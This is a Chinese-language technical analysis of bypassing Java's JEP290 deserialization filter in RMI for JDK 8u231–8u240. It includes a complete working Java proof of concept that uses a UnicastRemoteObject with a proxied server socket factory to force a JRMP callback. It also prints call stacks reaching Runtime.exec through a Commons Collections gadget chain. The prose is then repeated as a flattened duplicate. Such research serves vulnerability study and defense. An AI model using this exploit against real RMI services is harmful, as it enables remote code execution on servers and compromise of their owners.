JEP290下的RMI实现及Bypass 8u231-8u240
字数 1369 2025-08-12 11:34:50

JEP290下的RMI实现及Bypass 8u231-8u240技术分析

前言

本文详细分析在Java 8u231至8u240版本中,如何绕过JEP290安全机制实现RMI反序列化漏洞利用。主要介绍两种绕过手法:通过UnicastRemoteObject#readObject方法的利用,以及针对服务端绑定的特定对象的利用方式。

JEP290修复背景

在之前的利用方法中,攻击者通过RemoteObject#readObject方法的调用导致DGCClient发起任意JRMP请求。Oracle在修复时通过在DGCImpl_Stub#dirty方法调用过程中添加过滤器来阻止这种攻击。

第一种绕过手法:利用UnicastRemoteObject

利用原理

  1. 目标选择:寻找同样实现了readObject方法的RemoteObject子类UnicastRemoteObject,它实现了Remote接口可以通过白名单检测。

  2. 关键调用链

    • 反序列化时调用UnicastRemoteObject#readObject方法
    • 该方法会调用reexport方法
    • csf(客户端socket工厂)和ssf(服务端socket工厂)都为空时进入特定if语句
  3. 控制ssf属性

    • ssf属性类型为RMIServerSocketFactory
    • 通过设置恶意的RMIServerSocketFactory代理对象,可以控制连接行为
  4. 导出过程

    • 调用exportObject方法,封装参数为UnicastServerRef2对象
    • 最终调用LiveRef#exportObject方法
    • 触发TCPEndpoint#newServerSocket方法,创建socket连接
  5. 绕过关键点

    • 使用RemoteObjectInvocationHandler代理触发远程调用
    • 通过UnicastRef#invoke方法触发StreamRemoteCallexecuteCall
    • invoke方法调用过程中建立JRMP连接时没有过滤器检查

利用构造代码

package pers.rmi;

import sun.rmi.registry.RegistryImpl_Stub;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.*;
import java.util.Random;
import java.rmi.server.RemoteObject;

public class BypassJEP290ByUnicastRemoteObject {
    public static void main(String[] args) throws Exception {
        UnicastRemoteObject payload = getPayload();
        Registry registry = LocateRegistry.getRegistry(1099);
        bindReflection("pwn", payload, registry);
    }

    static UnicastRemoteObject getPayload() throws Exception {
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("localhost", 9999);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        
        System.getProperties().put("sun.misc.ProxyGenerator.saveGeneratedFiles", "true");
        RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(ref);
        RMIServerSocketFactory factory = (RMIServerSocketFactory) Proxy.newProxyInstance(
            handler.getClass().getClassLoader(),
            new Class[]{RMIServerSocketFactory.class, Remote.class},
            handler
        );
        
        Constructor<UnicastRemoteObject> constructor = UnicastRemoteObject.class.getDeclaredConstructor();
        constructor.setAccessible(true);
        UnicastRemoteObject unicastRemoteObject = constructor.newInstance();
        
        Field field_ssf = UnicastRemoteObject.class.getDeclaredField("ssf");
        field_ssf.setAccessible(true);
        field_ssf.set(unicastRemoteObject, factory);
        
        return unicastRemoteObject;
    }

    static void bindReflection(String name, Object obj, Registry registry) throws Exception {
        Field ref_filed = RemoteObject.class.getDeclaredField("ref");
        ref_filed.setAccessible(true);
        UnicastRef ref = (UnicastRef) ref_filed.get(registry);
        
        Field operations_filed = RegistryImpl_Stub.class.getDeclaredField("operations");
        operations_filed.setAccessible(true);
        Operation[] operations = (Operation[]) operations_filed.get(registry);
        
        RemoteCall remoteCall = ref.newCall((RemoteObject) registry, operations, 0, 4905912898345647071L);
        ObjectOutput outputStream = remoteCall.getOutputStream();
        
        Field enableReplace_filed = ObjectOutputStream.class.getDeclaredField("enableReplace");
        enableReplace_filed.setAccessible(true);
        enableReplace_filed.setBoolean(outputStream, false);
        
        outputStream.writeObject(name);
        outputStream.writeObject(obj);
        ref.invoke(remoteCall);
        ref.done(remoteCall);
    }
}

调用栈分析

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
readObject:342, HashSet (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
access$800:214, ObjectInputStream (java.io)
readFields:2452, ObjectInputStream$GetFieldImpl (java.io)
readFields:601, ObjectInputStream (java.io)
readObject:71, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
executeCall:252, StreamRemoteCall (sun.rmi.transport)
invoke:161, UnicastRef (sun.rmi.server)
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
createServerSocket:-1, $Proxy0 (com.sun.proxy)
newServerSocket:666, TCPEndpoint (sun.rmi.transport.tcp)
listen:335, TCPTransport (sun.rmi.transport.tcp)
exportObject:254, TCPTransport (sun.rmi.transport.tcp)
exportObject:411, TCPEndpoint (sun.rmi.transport.tcp)
exportObject:147, LiveRef (sun.rmi.transport)
exportObject:236, UnicastServerRef (sun.rmi.server)
exportObject:383, UnicastRemoteObject (java.rmi.server)
exportObject:346, UnicastRemoteObject (java.rmi.server)
reexport:268, UnicastRemoteObject (java.rmi.server)
readObject:235, UnicastRemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)

第二种绕过手法:攻击服务端绑定对象

利用场景

适用于攻击服务端,当服务端bind了一个对象,且该对象方法具有Object参数时,可以绕过JEP290。

利用条件

  1. 绑定的对象继承了UnicastRemoteObject
  2. 对象方法中包含Object类型的参数

利用原理

  1. 在创建绑定对象时,会触发其构造方法进行导出
  2. 封装成UnicastServerRef对象
  3. 不同于RegistryImpl,这里没有添加过滤器
  4. 在调用方法对Object参数进行反序列化时触发漏洞

调用栈分析

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:339, HashMap (java.util)
readObject:1413, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
unmarshalValue:322, UnicastRef (sun.rmi.server)
unmarshalParametersUnchecked:628, UnicastServerRef (sun.rmi.server)
unmarshalParameters:616, UnicastServerRef (sun.rmi.server)
dispatch:338, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)

总结

  1. 第一种方法通过UnicastRemoteObject#readObject触发,利用ssf属性控制连接行为,绕过过滤器检查
  2. 第二种方法针对服务端特定绑定对象,利用Object参数反序列化漏洞
  3. 两种方法都利用了RMI底层实现中的不同路径来绕过JEP290的安全机制
  4. 关键点在于找到不受过滤器保护的调用路径和反序列化点

参考链接

  1. Seebug Paper 1689
  2. Anquanke Post id/259059
JEP290下的RMI实现及Bypass 8u231-8u240技术分析 前言 本文详细分析在Java 8u231至8u240版本中,如何绕过JEP290安全机制实现RMI反序列化漏洞利用。主要介绍两种绕过手法:通过 UnicastRemoteObject#readObject 方法的利用,以及针对服务端绑定的特定对象的利用方式。 JEP290修复背景 在之前的利用方法中,攻击者通过 RemoteObject#readObject 方法的调用导致 DGCClient 发起任意JRMP请求。Oracle在修复时通过在 DGCImpl_Stub#dirty 方法调用过程中添加过滤器来阻止这种攻击。 第一种绕过手法:利用UnicastRemoteObject 利用原理 目标选择 :寻找同样实现了 readObject 方法的 RemoteObject 子类 UnicastRemoteObject ,它实现了 Remote 接口可以通过白名单检测。 关键调用链 : 反序列化时调用 UnicastRemoteObject#readObject 方法 该方法会调用 reexport 方法 当 csf (客户端socket工厂)和 ssf (服务端socket工厂)都为空时进入特定if语句 控制ssf属性 : ssf 属性类型为 RMIServerSocketFactory 通过设置恶意的 RMIServerSocketFactory 代理对象,可以控制连接行为 导出过程 : 调用 exportObject 方法,封装参数为 UnicastServerRef2 对象 最终调用 LiveRef#exportObject 方法 触发 TCPEndpoint#newServerSocket 方法,创建socket连接 绕过关键点 : 使用 RemoteObjectInvocationHandler 代理触发远程调用 通过 UnicastRef#invoke 方法触发 StreamRemoteCall 的 executeCall 在 invoke 方法调用过程中建立JRMP连接时没有过滤器检查 利用构造代码 调用栈分析 第二种绕过手法:攻击服务端绑定对象 利用场景 适用于攻击服务端,当服务端bind了一个对象,且该对象方法具有Object参数时,可以绕过JEP290。 利用条件 绑定的对象继承了 UnicastRemoteObject 类 对象方法中包含Object类型的参数 利用原理 在创建绑定对象时,会触发其构造方法进行导出 封装成 UnicastServerRef 对象 不同于 RegistryImpl ,这里没有添加过滤器 在调用方法对Object参数进行反序列化时触发漏洞 调用栈分析 总结 第一种方法通过 UnicastRemoteObject#readObject 触发,利用 ssf 属性控制连接行为,绕过过滤器检查 第二种方法针对服务端特定绑定对象,利用Object参数反序列化漏洞 两种方法都利用了RMI底层实现中的不同路径来绕过JEP290的安全机制 关键点在于找到不受过滤器保护的调用路径和反序列化点 参考链接 Seebug Paper 1689 Anquanke Post id/259059